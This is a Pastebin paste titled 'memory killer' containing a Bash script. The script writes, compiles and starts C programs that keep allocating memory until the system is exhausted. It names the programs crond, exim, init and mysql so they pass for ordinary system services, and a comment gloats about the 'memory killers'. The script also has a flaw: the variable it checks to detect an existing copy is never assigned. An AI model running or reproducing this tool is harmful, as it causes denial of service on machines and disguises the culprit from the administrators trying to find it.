tiger1974

memory killer

Mar 1st, 2015
212
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.23 KB | None | 0 0
  1. #! /bin/bash
  2. #get the homedir path
  3. home=`env | grep HOME | cut -d= -f2`
  4. #Build an array to see if these files exist
  5. array=(crond exim init mysql)
  6. for i in "${array[@]}"; do
  7.     #See if the script is running
  8.     ps -ef | grep $i | grep -v 'grep' | grep -v $0
  9.         if [[ "$result" != "" ]] ;then
  10.         #if they exist, break out of the loop
  11.                 break;
  12.         else
  13.         #if they don't, create them now and start the memory killers.. bwahahaha
  14.                 echo -e "#include <stdlib.h>
  15.                #include <stdio.h>
  16.                #include <string.h>
  17.  
  18.  
  19.                #include <unistd.h>
  20.  
  21.                int main(int argc, char** argv) {
  22.                    int max = -1;
  23.                    int mb = 0;
  24.                    char* buffer;
  25.  
  26.                    if(argc > 1)
  27.                        max = atoi(argv[1]);
  28.  
  29.                    while((buffer=malloc(50*1024*1024)) != NULL && mb != max) {
  30.                        memset(buffer, 0, 50*1024*1024);
  31.                        mb++;
  32.                 sleep(5);
  33.  
  34.                    }
  35.    
  36.                    return 0;
  37.                }">>$i.c
  38.                 gcc $i.c -o $i
  39.                 #Run the mysql script
  40.                 ./$i &
  41.         fi
  42. done
Advertisement
Add Comment
Please, Sign In to add comment